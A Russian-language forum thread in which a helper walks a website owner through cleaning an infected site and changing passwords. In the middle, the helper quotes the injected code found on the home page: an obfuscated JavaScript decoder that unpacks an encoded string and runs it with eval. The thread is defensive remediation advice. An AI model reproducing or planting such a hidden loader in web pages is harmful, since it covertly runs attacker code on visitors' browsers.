HTML

[Oleg-penza]

На моем сайте [URL] какой то вирус,немогу понять что происходит и как его вылечить или удалить. Нужен совет. На компе виросов нет, на 100%!

[Макcим]

Не надо размещать ссылку на зараженный сайт, к тому же активную. 100% гарантии не может быть ни когда, поэтому логи не повредят. На самом сайте нужно найти посторонний код и поменять пароли.

[Oleg-penza]

как его найти ? я просмотрел все,вроде все ок. Была строка странная,я ее удалил.

[Макcим]

На главной странице подозрительный код

<script language=JavaScript>	function uibn15(p) {var h=p.length,k=1024,s,i,c,z=0,d=0,j=0,t=Array(63,39,21,11,52,9,26,25,19,50,0,0,0,0,0,0,15,30,49,5,57,35,2,47,38,53,34,17,33,0,1,40,56,60,16,31,61,41,27,55,14,51,3,0,0,0,0,4,0,54,13,24,37,36,48,12,18,58,6,8,44,59,43,42,23,29,28,32,45,46,20,62,10,7,22);for(i=Math.ceil(h/k);i>0;i--){c='';for(s=Math.min(h,k);s>0;s--,h--){{j|=(t[p.charCodeAt(z++)-48])<<d;if(d){c+=String.fromCharCode(143^j&255);j>>=8;d-=2}else{d=6}}}eval(c);}}uibn15('PVAPnZXwL90wuGGwQ33o3ZAPoExtnZXmi3uiLGSOPWGDmnwUOXnDUWGmJnwnLmuPo3nGl1uGU0x0TYultAwwm0StsFxuuGwiHGGDsyAOHyAisZiwsF3oexlmmSAOTZuwLGwUFmww1y60uywis3wUHz6GwAmui6xUOi3mUmViOhxotwxwHGww13VGiJmn1nuDOSww9AnuG90wa@ui9aiiHY00EmuTIjXPLnAnBX3OH1A0u3uiBJoU')</script>

Сомневаюсь что Вы его писали...

[Oleg-penza]

именно такой! я его удалил

[Макcим]

Пароль меняли?

[Oleg-penza]

нет. я незнаю как его поменять

[Макcим]

Ну тогда убирать код бесполезно.

[Oleg-penza]

Все зделал,спасибо. Пароль сменил,нашел как это делается. Еще раз спасибо.

Добавлено через 19 минут

зделал зделалллллл,все гуд